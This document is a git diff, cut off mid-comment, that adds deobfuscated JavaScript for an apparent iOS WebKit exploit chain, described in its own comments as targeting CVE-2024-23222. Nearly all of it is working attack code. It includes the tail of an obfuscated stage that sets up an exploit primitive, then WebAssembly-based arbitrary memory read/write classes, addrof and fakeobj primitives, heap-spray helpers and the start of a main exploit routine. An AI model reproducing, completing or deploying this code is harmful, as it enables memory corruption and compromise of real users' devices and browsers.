initial: 1783847238 ^ 1783855430, + element: [93, 64, 76, 93, 74, 86, 74, 93, 94].map((x) => { + return String.fromCharCode(x ^ 56); + }).join("") + })); + for (let A = 0; A < 4; A++) b[(1380205894 ^ 1380205742) + 3 * A].grow(1786067060 ^ 1786058869); + const f = []; + for (let A = 0; A < 2; A++) f[A] = new WebAssembly.Module(B); + for (let A = 0; A < 4; A++) b[(1163475029 ^ 1163475378) + 3 * A].grow(1479889253 ^ 1479897444); + for (let A = 0; A < 1; A++) b.push(new WebAssembly.Table({ + initial: 1093890903 ^ 1093882711, + element: [92, 65, 77, 92, 75, 87, 75, 92, 95].map((x) => { + return String.fromCharCode(x ^ 57); + }).join("") + })); + const l = []; + for (let A = 0; A < 2; A++) l[A] = new WebAssembly.Module(K); + let C = null; + for (let A = 0; A < f.length; A++) try { + C = new WebAssembly.Instance(f[A], { + [e]: h + }); + break; + } catch (A) {} + if (null === C) throw new Error("null === C"); + const w = new Array(t - 2); + return { + tA: function (A) { + if (o.A = !1, o.mode = n, Q(C.exports.f2, r, A, ...w), !o.A) throw new Error("o.A = !1, o.mode = n, Q(C.exports.f2, r, A, ...w), !o.A"); + return o.AA; + }, + QA: function (A) { + if (o.A = !1, o.mode = g, o.AA = A, Q(C.exports.f2, r, null, ...w), !o.A) throw new Error("o.A = !1, o.mode = g, o.AA = A, Q(C.exports.f2, r, null, ...w), !o.A"); + } + }; + }(), + f = utilityModule.Z(1, 0, 34, 7), + l = { + a: .1, + b: .2, + c: .3, + d: .4 + }, + C = { + a: .1, + b: .1, + e: .1 + }; + C.b = new Array(2); + const w = b.tA(l), + d = b.tA(C), + u = w + BigInt(20); + const I = utilityModule.T(Number((d & BigInt(4294967296 + (1903440484 ^ -1903440485))).toString()), Number((d >> BigInt(32)).toString())), + G = new Function("b", "L2", [75, 65, 29].map((x) => { + return String.fromCharCode(x ^ 45); + }).join(""), [8, 35, 59].map((x) => { + return String.fromCharCode(x ^ 87); + }).join(""), [13, 2, 68, 76, 2, 8, 84, 77, 68, 31, 68, 6, 63, 40, 86, 57, 63, 84, 57, 68, 89, 68, 59, 16, 8, 95, 68, 22, 1, 16, 17, 22, 10, 68, 84, 95, 68, 25, 68, 1, 8, 23, 1, 68, 31, 68, 22, 1, 16, 17, 22, 10, 68, 6, 63, 40, 86, 57, 63, 84, 57, 95, 68, 25].map((x) => { + return String.fromCharCode(x ^ 100); + }).join("")); + for (let A = 0; A < (1731217207 ^ 1731314071); A++) G(window.VHcWaK, A % window.VHcWaK.length, !0, A + .1), G(window.VHcWaK, A % window.VHcWaK.length, !1, 0); + + function U(A) { + const t = utilityModule._(A), + Q = utilityModule.F(A); + l.b = utilityModule.Y(f, t - (910241864 ^ 910372936)), l.c = utilityModule.Y(Q, 2035439692 ^ 2036180915); + const e = G(window.VHcWaK, 1, !1, 0); + return utilityModule.P(e); + } + b.QA(BigInt(u)); + const H = new E(function (A) { + return C.b = A, U(I + 24); + }, function (A, t) { + const Q = utilityModule._(A), + e = utilityModule.F(A), + i = utilityModule.J(t); + l.b = utilityModule.Y(f, Q - (2053727842 ^ 2053858914)), l.c = utilityModule.Y(e, 1868713291 ^ 1869460148), G(window.VHcWaK, 1, !0, i); + }, U, function () { + window.VHcWaK[1] = null, window.VHcWaK.length = 0; + }); + platformModule.platformState.exploitPrimitive = H; + const y = new Uint32Array(4); + class Y { + constructor(A, t) { + if (A < 0 || A > 4294967296 + (1231440435 ^ -1231440436)) throw new Error("A < 0 || A > 4294967296 + (1231440435 ^ -1231440436)"); + if (t < 0 || t > 4294967296 + (2018474571 ^ -2018474572)) throw new Error("t < 0 || t > 4294967296 + (2018474571 ^ -2018474572)"); + this.ci = A, this.fi = t; + } + static null() { + return new Y(0, 0); + } + static li(A) { + const t = platformModule.platformState.exploitPrimitive.addrof(A); + return Y.ut(t); + } + static bi(A) { + const t = platformModule.platformState.exploitPrimitive.fakeobj(A); + return Y.ut(t); + } + static ut(A) { + return new Y(A >>> 0, A / 4294967296 >>> 0); + } + static L(A) { + return new Y(utilityModule.C(A), utilityModule.H(A)); + } + static ui(A) { + return new Y(A, 0); + } + static wi(A, t) { + return new Y(A, t); + } + di() { + return 4294967296 * this.fi + this.ci; + } + gi() { + return new m(this.ci, this.fi); + } + yi() { + if (0 !== this.fi) throw new Error("0 !== this.fi"); + return this.ci; + } + readRawBigInt() { + const A = platformModule.platformState.exploitPrimitive.read32(this.di()), + t = platformModule.platformState.exploitPrimitive.read32(this.di() + 4); + return new Y(A, t); + } + readString(A = 1870098266 ^ 1870098238) { + return platformModule.platformState.exploitPrimitive.readString(this.di(), A); + } + copyBigInt(A) { + platformModule.platformState.exploitPrimitive.write32(this.di(), A.ci), platformModule.platformState.exploitPrimitive.write32(this.di() + 4, A.fi); + } + Ui(A) { + platformModule.platformState.exploitPrimitive.write32(this.di(), A); + } + mi() { + return platformModule.platformState.exploitPrimitive.read32(this.di()); + } + Ai() { + return this.fi > o; + } + Ti() { + return 0 === this.ci && 0 === this.fi; + } + lt(A) { + return this.ci === A.ci && this.fi === A.fi; + } + Pi(A) { + return this.fi === A.fi ? this.ci >= A.ci : this.fi >= A.fi; + } + Si(A) { + return this.fi === A.fi ? this.ci <= A.ci : this.fi <= A.fi; + } + add(A) { + if (A instanceof Y == !1) throw new Error("A instanceof Y == !1"); + if (y[0] = this.ci, y[1] = this.ci + A.ci, y[2] = this.fi, y[3] = this.fi + A.fi, y[1] < y[0] && (y[3] += 1), y[3] < y[2]) throw new Error("y[0] = this.ci, y[1] = this.ci + A.ci, y[2] = this.fi, y[3] = this.fi + A.fi, y[1] < y[0] && (y[3] += 1), y[3] < y[2]"); + return new Y(y[1], y[3]); + } + sub(A) { + if (A instanceof Y == !1) throw new Error("A instanceof Y == !1"); + if (y[0] = this.ci, y[1] = this.ci - A.ci, y[2] = this.fi, y[3] = this.fi - A.fi, y[1] > y[0] && (y[3] -= 1), y[2] < y[3]) throw new Error("y[0] = this.ci, y[1] = this.ci - A.ci, y[2] = this.fi, y[3] = this.fi - A.fi, y[1] > y[0] && (y[3] -= 1), y[2] < y[3]"); + return new Y(y[1], y[3]); + } + H(A) { + return this.add(Y.ui(A)); + } + Bt(A) { + return this.sub(Y.ui(A)); + } + Di() { + return this.ci; + } + Ei() { + return this.fi; + } + Dt() { + return new Y(this.ci, this.fi & o); + } + toString() { + let A = this.ci.toString(16); + return this.fi && (A = this.fi.toString(16) + ([122, 122, 122, 122, 122, 122, 122, 122].map((x) => { + return String.fromCharCode(x ^ 74); + }).join("") + A).slice(-8)), [98, 42].map((x) => { + return String.fromCharCode(x ^ 82); + }).join("") + A; + } + } + platformModule.platformState.Ln = Y; +}; +return r; \ No newline at end of file diff --git a/Stage1_16.2_16.5.1_terrorbird.js b/Stage1_16.2_16.5.1_terrorbird.js new file mode 100644 index 0000000..075effe --- /dev/null +++ b/Stage1_16.2_16.5.1_terrorbird.js @@ -0,0 +1,1050 @@ +/** + * Stage 1: WebAssembly Memory Primitives (Deobfuscated) + * Original hash: 8c4451cf1258f9a8d6a8af27864f111fd69a0e99 + * + * This module implements the core exploit primitives for CVE-2024-23222 using + * WebAssembly memory corruption. Two WASM primitive classes provide arbitrary + * read/write capabilities by exploiting a JIT type confusion in JavaScriptCore. + * + * Key capabilities: + * - WasmPrimitive64 (J): 64-byte WASM instance for iOS >= 16.4 (64 iterations) + * - WasmPrimitive16 ($): 16-byte WASM instance for iOS < 16.4 (16 iterations) + * - Arbitrary memory read (Ki/br) and write (Hi/Bs) via WASM instance corruption + * - addrof (tA/tr) - get address of JS object, fakeobj (Mr) - create fake object + * - JIT function compilation forcing via megamorphic calls + dead-code bloat + * - Heap spray (allocateBuffers) and GC pressure (triggerJIT) for exploitation setup + * - exploitMain (L) - full exploit flow: type confusion → addrof/fakeobj → r/w primitive + * + * Module dependencies: + * - 57620206d62079baad0e57e6d9ec93120c0f5247 (utility_module.js) + * - 14669ca3b1519ba2a8f40be287f646d4d7593eb0 (platform_module.js) + */ + +let r = {}; + +// ════════════════════════════════════════════════════════════════════════════ +// Module imports +// ════════════════════════════════════════════════════════════════════════════ + +const { + N: G, // toHexString + tn: W, // assert + nn: C, // TypeHelper + Vt: m, // Int64 + U: j, // toBigInt + An: S, // unsignedBigIntToNumber + vn: O, // unused/debug + v: o, // MAX_SAFE_HI32 (127) + I: u, // POINTER_MASK (0x7FFFFFFFFF) + B: s // POINTER_TAG_SHIFT (39) + } = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + + /** Platform state — provides version thresholds and runtime-specific offsets */ + platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"), + /** Utility module full reference (for Int64, conversion helpers) */ + utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"); + +// ════════════════════════════════════════════════════════════════════════════ +// WasmPrimitive64 — 64-byte WASM-based read/write primitive (iOS >= 16.04) +// ════════════════════════════════════════════════════════════════════════════ + +/** + * WASM-based memory read/write primitive using a 64-byte WASM module. + * Used on iOS >= 16.4 where the WASM instance layout requires larger corruption window. + * + * The WASM module exports: + * - btl(): read function (returns bigint from corrupted memory) + * - alt(v): write function (stores bigint v to corrupted memory) + * + * Two separate WebAssembly instances are created from the same module: + * - es/ss: paired instances for read/write operations + * - The [0]=3 assignment places a JS value into WASM linear memory + * - os array is used as a GC-visible container for addrof operations + */ +class J /* WasmPrimitive64 */ { + + /** Get Int64 address of a JS object (addrof). Original: tr */ + addrof(t) { + return utilityModule.K(this.getObjectAddress(t)); + } + + /** Read a string from an Int64 address, up to `e` bytes. Original: Tr */ + readStringFromInt64(t, e = 256) { + const r = utilityModule.O(t.yt()); + return this.readString(r, e); + } + + /** Read an Int64 value from a numeric byte offset. Original: rr */ + readInt64FromOffset(t) { + const e = this.read32(utilityModule.O(t)), + r = this.read32(utilityModule.O(t + 4)); + return new utilityModule.Int64(e, r); + } + + /** Read a 32-bit value from an Int64 address. Original: ir */ + read32FromInt64(t) { + return this.read32(utilityModule.O(t.yt())); + } + + /** Read an Int64 value from an Int64 address. Original: Ur */ + readInt64FromInt64(t) { + return this.readInt64FromOffset(t.yt()); + } + + /** Write an Int64 value to a numeric offset. Original: Jr */ + writeInt64ToOffset(t, e) { + const r = utilityModule.O(t), + n = e.Nt(); + this.write64(r, n); + } + + /** + * Read a double (reinterpreted as pointer) from a numeric offset. + * If `e` is true or platform flag zohDDd is set, mask with MAX_SAFE_HI32. + * Original: Dr + */ + readDoubleAsPointer(t, e = !1) { + const r = this.read32(utilityModule.O(t)); + let n = this.read32(utilityModule.O(t + 4)); + return (!0 === e || platformModule.platformState.versionFlags.zohDDd) && (n &= o), utilityModule.T(r, n); + } + + /** Read the raw BigInt value at an Int64's byte offset. Original: nr */ + readRawBigInt(t) { + return this.readInt64FromOffset(t).yt(); + } + + /** Busy-wait spin loop (768 iterations, stepping by 8). Original: hr */ + busyWait(t, e = 768) { + for (let t = 0; t < e; t += 8); + } + + /** Copy a BigInt between two numeric offsets. Original: ti */ + copyBigInt(t, e) { + this.write64(utilityModule.O(t), utilityModule.O(e)); + } + + /** + * Get the buffer address (fakeobj) — create a fake JSObject from an ArrayBuffer + * by reading the platform-specific offset (iWQGB1) from the object header. + * Original: Mr + */ + fakeobj(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + const e = this.getObjectAddress(t); + return utilityModule.K(S(this.read64(e + j(platformModule.platformState.versionFlags.iWQGB1)))); + } + + /** + * Execute callback `t` with temporary pointer overrides. + * Saves original values at each entry's .Ir offset, writes the .Zt values, + * calls t(), then restores originals. Original: Br + */ + withTempOverrides(t, ...e) { + const r = new Array(e.length + 10); + for (let t = 0; t < e.length; t++) r[t] = this.readInt64FromOffset(e[t].Ir); + try { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, e[t].Zt); + t(); + } finally { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, r[t]); + } + } + + constructor() { + /** + * WASM module bytes — this is a valid WebAssembly binary. + * Header: [0x00, 0x61, 0x73, 0x6d] = "\0asm" magic + * Version: [0x01, 0x00, 0x00, 0x00] = version 1 + * + * The module defines: + * - 2 function types (read/write signatures) + * - 1 memory (with initial/max page counts) + * - Exported functions "btl" (read) and "alt" (write) + * - Data segment with padding (0x33 fill) for corruption target + * - Multiple global variables used as read/write targets + * + * XOR-decoded bytes spell out "asm" header + "memory" + "btl" + "alt" export names. + */ + const t = new Uint8Array([ + 0, 97, 115 /* "s" */, 109 /* "m" */, 1, 0, 0, 0, // \0asm v1 + 1, 9, 2, 96, 0, 1, 126 /* i64 */, 96, 1, 126 /* i64 */, 0, + 3, 3, 2, 0, 1, + 4, 4, 1, 111 /* funcref */, 0, 1, + 5, 3, 1, 0, 1, + 6, 82, 8, // 8 globals section + 123 /* i64.const */, 1, 253, 12, // global 0: i64 with padding + 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, + 11, 126 /* i64.const */, 1, 66, + 205, 215, 182, 222, 218, 249, 234, 230, 171, 127, + 11, 123 /* i64.const */, 1, 253, 12, + 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, + 11, 111 /* f64.const */, 1, 208, 111, + 11, 111, 1, 208, 111, + 11, 111, 1, 208, 111, + 11, 111, 1, 208, 111, + 11, 111, 1, 208, 111, + 11, + 7, 29, 4, 4, + 101, 100, 102, 121, // "edfy" — export descriptor + 3, 1, 6, + 109, 101, 109, 111, 114, 121, // "memory" + 2, 0, 3, + 98, 116, 108, // "btl" (read export) + 0, 0, 3, + 97, 108, 116, // "alt" (write export) + 0, 1, + 10, 13, 2, 4, 0, 35, 1, 11, // btl: global.get 1; end + 6, 0, 32, 0, 36, 1, 11 // alt: local.get 0; global.set 1; end + ]), + e = (t) => t.exports.btl(), + r = (t, e) => {t.exports.alt(e);}; + + this.ts = []; // GC roots to prevent collection of allocated buffers + + const n = new WebAssembly.Module(t, {}); + // Create two WASM instances — one for read, one for write + this.es = new WebAssembly.Instance(n, {}); + this.es[0] = 3; // Place JS value at index 0 (triggers type confusion) + this.rs = e.bind(null, this.es); // read from instance A + this.ns = r.bind(null, this.es); // write to instance A + + this.ss = new WebAssembly.Instance(n, {}); + this.ss[0] = 3; + this.ls = e.bind(null, this.ss); // read from instance B + this.hs = r.bind(null, this.ss); // write to instance B + + // os is a special array used for addrof: place object at [0], read address + this.os = [{}, 1, 8]; + this.os.q23 = 90; // Named property to change array storage mode + + // Scratch buffers for type punning (double <-> uint32 <-> bigint) + this.Qi = new ArrayBuffer(16); + this.fs = new Uint32Array(this.Qi); + this.cs = new BigUint64Array(this.Qi); + this.bs = new ArrayBuffer(32); + this.us = new DataView(this.bs); + + this.Oi = new C(); // TypeHelper instance + + // Warm up: 1 iteration (minimal JIT warmup for 64-byte variant) + const i = 0n; + for (let t = 0; t < 1; t++) this.rs(), this.ls(), this.ns(i), this.hs(i); + } + + /** + * Store five converted BigInt addresses for the exploit state. + * These offsets point to key data structures in the corrupted memory. + * Original: gs + */ + storeExploitState(t, e, r, n, i) { + this.ws = this.Oi.Bn(t); + this.ds = this.Oi.Bn(e); + this.ys = this.Oi.Bn(r); + this.As = this.Oi.Bn(n); + this.Us = this.Oi.Bn(i); + } + + /** No-op placeholder. Original: zr */ + cleanup() {} + + /** Write BigInt value t to instance A. Original: Wi */ + writeToInstanceA(t) {this.ns(t);} + + /** Write then read: set value t, return read result. Original: _s */ + writeAndRead(t) {return this.writeToInstanceA(t), this.ls();} + + /** Write then write: set addr t, store value e. Original: Bs */ + writeAndWrite(t, e) {return this.writeToInstanceA(t), this.hs(e);} + + /** Read a 64-bit value at BigInt address t. Original: Ki */ + read64(t) {return this.cs[0] = this.writeAndRead(t), this.cs[0];} + + /** + * Get the backing store address of a TypedArray/ArrayBuffer. + * Reads platform-specific offset oGn3OG from the object. + * Original: Ts + */ + getBackingStore(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + t instanceof DataView && (t = new Uint8Array(t.buffer)); + const e = this.getObjectAddress(t); + return S(this.read64(e + BigInt(platformModule.platformState.versionFlags.oGn3OG))); + } + + /** + * Get the JIT code pointer for a Function object. + * Reads platform-specific offset KaU4Z7 from the function. + * Original: ps + */ + getJITCodePointer(t) { + if (!(t instanceof Function)) throw new Error("!(t instanceof Function)"); + const e = this.getObjectAddress(t); + return this.read64(e + BigInt(platformModule.platformState.versionFlags.KaU4Z7)); + } + + /** + * Write a 32-bit value at a BigInt address. + * Preserves the upper 32 bits while replacing the lower 32 bits. + * Original: dr + */ + write32(t, e) { + if ("bigint" != typeof t) return this.write32(utilityModule.O(t), e); + { + const r = this.read64(t); + this.cs[0] = r; + this.fs[0] = e; + const n = this.cs[0]; + this.writeAndWrite(t, n); + } + } + + /** + * Allocate a null-terminated C string in WASM memory. + * Returns [Uint8Array, address]. + * Original: ks + */ + allocCString(t) { + const e = new Uint8Array(new ArrayBuffer(t.length + 1)); + for (let r = 0; r < t.length; r++) e[r] = t.charCodeAt(r); + return [e, this.getDataPointer(e)]; + } + + /** + * Allocate a zeroed buffer of t bytes, return its address. + * Original: Ms + */ + allocZeroBuffer(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))), + r = this.getDataPointer(e); + return this.ts.push(e), r; + } + + /** + * Allocate a zeroed buffer of t bytes, return [Uint8Array, address]. + * Original: Is + */ + allocZeroBufferPair(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))), + r = this.getDataPointer(e); + return this.ts.push(e), [e, r]; + } + + /** + * Get the data pointer (backing store + 0x10) of a typed array buffer. + * Original: Ss + */ + getDataPointer(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + const e = this.getObjectAddress(t); + return S(this.read64(e + 0x10n)); + } + + /** + * Patch a single byte at BigInt address t — read the 64-bit value, replace + * byte 0 with `e`, write back. + * Original: Ps + */ + patchByte(t, e) { + this.us.setBigUint64(0, this.read64(t), !0); + this.us.setUint8(0, e, !0); + this.write64(t, this.us.getBigUint64(0, !0)); + } + + /** + * Read a null-terminated ASCII string from BigInt address t, up to e bytes. + * Original: Er + */ + readString(t, e = 768) { + let r = t; + "number" == typeof t && (r = utilityModule.O(t)); + let n = ""; + for (let t = 0; t < e; t++) { + const e = this.readByte(r + BigInt(t)); + if (0 === e) break; + n += String.fromCharCode(e); + } + return n; + } + + /** Read a single byte (& 0xFF) from BigInt address t. Original: Sr */ + readByte(t) {return 255 & this.read32(t);} + + /** Read a 32-bit value from BigInt or number address. Original: br */ + read32(t) { + return "bigint" == typeof t ? ( + this.cs[0] = this.writeAndRead(t), this.fs[0]) : + this.read32(utilityModule.O(t)); + } + + /** Write a 64-bit BigInt value at BigInt address t. Original: Hi */ + write64(t, e) {return this.writeAndWrite(t, e);} + + /** + * addrof primitive: place object t into the os array at index 0, + * then read the object's address from WASM-corrupted memory. + * Original: tA + */ + getObjectAddress(t) { + this.os[0] = t; + const e = this.read64(this.Us + 0x8n), + r = this.read64(e); + return this.os[0] = null, r; + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// WasmPrimitive16 — 16-byte WASM-based read/write primitive (iOS < 16.04) +// ════════════════════════════════════════════════════════════════════════════ + +/** + * WASM-based memory read/write primitive using a smaller 16-byte WASM module. + * Used on iOS < 16.4 where the WASM instance layout is more compact. + * + * Structurally identical to WasmPrimitive64 (J) with two key differences: + * 1. The WASM binary is smaller (fewer globals/data, 16-byte segments) + * 2. JIT warmup uses 22 iterations instead of 1 + * 3. Has additional allocControlledBuffer() method for controlled ArrayBuffer allocation + * 4. Has copyMemory32() method for 32-bit aligned memory copy + */ +class $ /* WasmPrimitive16 */ { + + /** Get Int64 address of a JS object (addrof). Original: tr */ + addrof(t) {return utilityModule.K(this.getObjectAddress(t));} + + /** Read a string from an Int64 address. Original: Tr */ + readStringFromInt64(t, e = 256) { + const r = utilityModule.O(t.yt()); + return this.readString(r, e); + } + + /** Read an Int64 value from a numeric byte offset. Original: rr */ + readInt64FromOffset(t) { + const e = this.read32(utilityModule.O(t)), + r = this.read32(utilityModule.O(t + 4)); + return new utilityModule.Int64(e, r); + } + + /** Read a 32-bit value from an Int64 address. Original: ir */ + read32FromInt64(t) {return this.read32(utilityModule.O(t.yt()));} + + /** Read an Int64 value from an Int64 address. Original: Ur */ + readInt64FromInt64(t) {return this.readInt64FromOffset(t.yt());} + + /** Write an Int64 value to a numeric offset. Original: Jr */ + writeInt64ToOffset(t, e) { + const r = utilityModule.O(t), + n = e.Nt(); + this.write64(r, n); + } + + /** Read a double (reinterpreted as pointer) from a numeric offset. Original: Dr */ + readDoubleAsPointer(t, e = !1) { + const r = this.read32(utilityModule.O(t)); + let n = this.read32(utilityModule.O(t + 4)); + return (!0 === e || platformModule.platformState.versionFlags.zohDDd) && (n &= o), utilityModule.T(r, n); + } + + /** Read the raw BigInt at an Int64's byte offset. Original: nr */ + readRawBigInt(t) {return this.readInt64FromOffset(t).yt();} + + /** Busy-wait spin loop (768 iterations). Original: hr */ + busyWait(t, e = 768) {for (let t = 0; t < e; t += 8);} + + /** Copy a BigInt between two numeric offsets. Original: ti */ + copyBigInt(t, e) {this.write64(utilityModule.O(t), utilityModule.O(e));} + + /** Get the buffer address (fakeobj). Original: Mr */ + fakeobj(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + const e = this.getObjectAddress(t); + return utilityModule.K(S(this.read64(e + j(platformModule.platformState.versionFlags.iWQGB1)))); + } + + /** Execute callback with temporary pointer overrides. Original: Br */ + withTempOverrides(t, ...e) { + const r = new Array(e.length + 10); + for (let t = 0; t < e.length; t++) r[t] = this.readInt64FromOffset(e[t].Ir); + try { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, e[t].Zt); + t(); + } finally { + for (let t = 0; t < e.length; t++) this.writeInt64ToOffset(e[t].Ir, r[t]); + } + } + + constructor() { + /** + * Smaller WASM module (16-byte layout) for older iOS versions. + * Same structure as J's module but with fewer globals and data segments: + * - 3 globals instead of 8 + * - No large padding data segments + * - Export names: "memory", "btl" (read), "alt" (write) + */ + const t = new Uint8Array([ + 0, 97, 115 /* "s" */, 109 /* "m" */, 1, 0, 0, 0, // \0asm v1 + 1, 9, 2, 96, 0, 1, 126 /* i64 */, 96, 1, 126 /* i64 */, 0, + 3, 3, 2, 0, 1, + 4, 4, 1, 111 /* funcref */, 0, 1, + 5, 3, 1, 0, 1, + 6, 16, 3, // 3 globals + 126 /* i64.const */, 1, 66, 0, 11, + 126 /* i64.const */, 1, 66, 0, 11, + 126 /* i64.const */, 1, 66, 0, 11, + 7, 22, 3, 6, + 109, 101, 109, 111, 114, 121, // "memory" + 2, 0, 3, + 98, 116, 108, // "btl" (read export) + 0, 0, 3, + 97, 108, 116, // "alt" (write export) + 0, 1, + 10, 13, 2, 4, 0, 35, 0, 11, // btl: global.get 0; end + 6, 0, 32, 0, 36, 0, 11 // alt: local.get 0; global.set 0; end + ]), + e = (t) => t.exports.btl(), + r = (t, e) => {t.exports.alt(e);}; + + this.ts = []; + + const n = new WebAssembly.Module(t, {}); + this.es = new WebAssembly.Instance(n, {}); + this.es[0] = 3; + this.rs = e.bind(null, this.es); + this.ns = r.bind(null, this.es); + + this.ss = new WebAssembly.Instance(n, {}); + this.ss[0] = 3; + this.ls = e.bind(null, this.ss); + this.hs = r.bind(null, this.ss); + + this.os = [{}, 1, 8]; + this.os.q23 = 90; + + this.Qi = new ArrayBuffer(16); + this.fs = new Uint32Array(this.Qi); + this.cs = new BigUint64Array(this.Qi); + this.bs = new ArrayBuffer(32); + this.us = new DataView(this.bs); + + this.Oi = new C(); + + // Warm up: 22 iterations (more warmup needed for 16-byte variant) + const i = 0n; + for (let t = 0; t < 22; t++) this.rs(), this.ls(), this.ns(i), this.hs(i); + } + + /** Store five converted BigInt addresses. Original: gs */ + storeExploitState(t, e, r, n, i) { + this.ws = this.Oi.Bn(t); + this.Ws = this.Oi.Bn(e); + this.ys = this.Oi.Bn(r); + this.js = this.Oi.Bn(n); + this.Us = this.Oi.Bn(i); + } + + cleanup() {} + writeToInstanceA(t) {this.ns(t);} + writeAndRead(t) {return this.writeToInstanceA(t), this.ls();} + writeAndWrite(t, e) {return this.writeToInstanceA(t), this.hs(e);} + read64(t) {return this.cs[0] = this.writeAndRead(t), this.cs[0];} + + /** Get backing store address. Original: Ts */ + getBackingStore(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + t instanceof DataView && (t = new Uint8Array(t.buffer)); + const e = this.getObjectAddress(t); + return S(this.read64(e + BigInt(platformModule.platformState.versionFlags.oGn3OG))); + } + + /** Get JIT code pointer for a Function. Original: ps */ + getJITCodePointer(t) { + if (!(t instanceof Function)) throw new Error("!(t instanceof Function)"); + const e = this.getObjectAddress(t); + return this.read64(e + BigInt(platformModule.platformState.versionFlags.KaU4Z7)); + } + + /** Write a 32-bit value at address. Original: dr */ + write32(t, e) { + if ("bigint" != typeof t) return this.write32(utilityModule.O(t), e); + { + const r = this.read64(t); + this.cs[0] = r; + this.fs[0] = e; + const n = this.cs[0]; + this.writeAndWrite(t, n); + } + } + + /** Allocate null-terminated C string. Original: ks */ + allocCString(t) { + const e = new Uint8Array(new ArrayBuffer(t.length + 1)); + for (let r = 0; r < t.length; r++) e[r] = t.charCodeAt(r); + return [e, this.getDataPointer(e)]; + } + + /** Allocate zeroed buffer, return address. Original: Ms */ + allocZeroBuffer(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))), + r = this.getDataPointer(e); + return this.ts.push(e), r; + } + + /** + * Allocate an ArrayBuffer with controlled JSC metadata. + * If `e` is true, additionally patches the ArrayBuffer's structure pointer + * and adjusts the capacity field by +32 bytes (CN3rr_, EMDU4o offsets). + * This is used to create fake ArrayBuffers with expanded bounds. + * Original: Or + */ + allocControlledBuffer(t, e = !1) { + let r = new ArrayBuffer(t), + n = new Uint8Array(r); + utilityModule.D(r); // Push to GC roots + let i = this.addrof(n), + s = this.readDoubleAsPointer(i + platformModule.platformState.versionFlags.oGn3OG); + if (!0 === e) { + let t = this.addrof(r), + e = this.readDoubleAsPointer(t + platformModule.platformState.versionFlags.CN3rr_), + n = this.read32(e + platformModule.platformState.versionFlags.EMDU4o); + n += 32; + this.write32(e + platformModule.platformState.versionFlags.EMDU4o, n); + } + return s; + } + + /** Allocate zeroed buffer, return [Uint8Array, address]. Original: Is */ + allocZeroBufferPair(t) { + const e = new Uint8Array(new ArrayBuffer(Number(t))), + r = this.getDataPointer(e); + return this.ts.push(e), [e, r]; + } + + /** Get data pointer of typed array buffer. Original: Ss */ + getDataPointer(t) { + t instanceof ArrayBuffer && (t = new Uint8Array(t)); + const e = this.getObjectAddress(t); + return S(this.read64(e + 0x10n)); + } + + /** + * Copy memory in 32-bit aligned chunks from source to dest. + * Original: gr + */ + copyMemory32(t, e, r) { + if (r % 4 != 0) throw new Error("r % 4 != 0"); + for (let n = 0; n < r; n += 4) + this.write32(t.Nt() + BigInt(n), this.read32(e.Nt() + BigInt(n))); + } + + /** Patch a single byte at address. Original: Ps */ + patchByte(t, e) { + this.us.setBigUint64(0, this.read64(t), !0); + this.us.setUint8(0, e, !0); + this.write64(t, this.us.getBigUint64(0, !0)); + } + + /** Read a null-terminated ASCII string from address. Original: Er */ + readString(t, e = 768) { + let r = t; + "number" == typeof t && (r = utilityModule.O(t)); + let n = ""; + for (let t = 0; t < e; t++) { + const e = this.readByte(r + BigInt(t)); + if (0 === e) break; + n += String.fromCharCode(e); + } + return n; + } + + /** Read single byte. Original: Sr */ + readByte(t) {return 255 & this.read32(t);} + + /** Read 32-bit value. Original: br */ + read32(t) { + return "bigint" == typeof t ? ( + this.cs[0] = this.writeAndRead(t), this.fs[0]) : + this.read32(utilityModule.O(t)); + } + + /** Write 64-bit value. Original: Hi */ + write64(t, e) {return this.writeAndWrite(t, e);} + + /** addrof primitive. Original: tA */ + getObjectAddress(t) { + this.os[0] = t; + const e = this.read64(this.Us + 0x8n), + r = this.read64(e); + return this.os[0] = null, r; + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Heap preparation helpers +// ════════════════════════════════════════════════════════════════════════════ + +/** + * Spray the heap with 240 ArrayBuffers of 4MB each (960MB total). + * This creates a predictable heap layout to ensure the type confusion + * lands on controlled memory. + * Original: V → allocateBuffers + */ +function V /* allocateBuffers */() { + for (let t = 0; t < 240; t++) new ArrayBuffer(4194304 /* 4MB */); +} + +/** + * Force JIT compilation and GC pressure by allocating a 10M element Uint32Array. + * The eval() prevents the compiler from optimizing away the allocation. + * Original: H → triggerJIT + */ +function H /* triggerJIT */() { + eval("new Uint32Array(10000000);"); +} + +// ════════════════════════════════════════════════════════════════════════════ +// Main exploit function — CVE-2024-23222 type confusion +// ════════════════════════════════════════════════════════════════════════════ + +/** + * Main exploit entry point. Triggers the CVE-2024-23222 type confusion + * to achieve arbitrary read/write through WASM memory corruption. + * + * Flow: + * 1. Heap spray (7000 JSON objects + 240 × 4MB ArrayBuffers) + * 2. Select WasmPrimitive64 (iOS >= 16.4) or WasmPrimitive16 (older) + * 3. Create megamorphic dispatch function (7200 × "x += 1" dead code) + * 4. Build JIT-compiled read/write/length primitives via speculation + * 5. Trigger type confusion: double array ←→ object array + * 6. Walk memory backwards (page-aligned) to find Mach-O header (0xFEEDFACF) + * 7. Return the initialized WASM primitive with full r/w capability + * + * Original: L → exploitMain + * Exported as: r.si + */ +async function L /* exploitMain */(t) { + window.log(`[STAGE1] === Stage 1: WASM Primitives starting ===`); + const e = new Float64Array(10), + r = new Int32Array(e.buffer), + n = new Array(3000); + + // Heap spray: create 7000 JSON objects to fill JSC 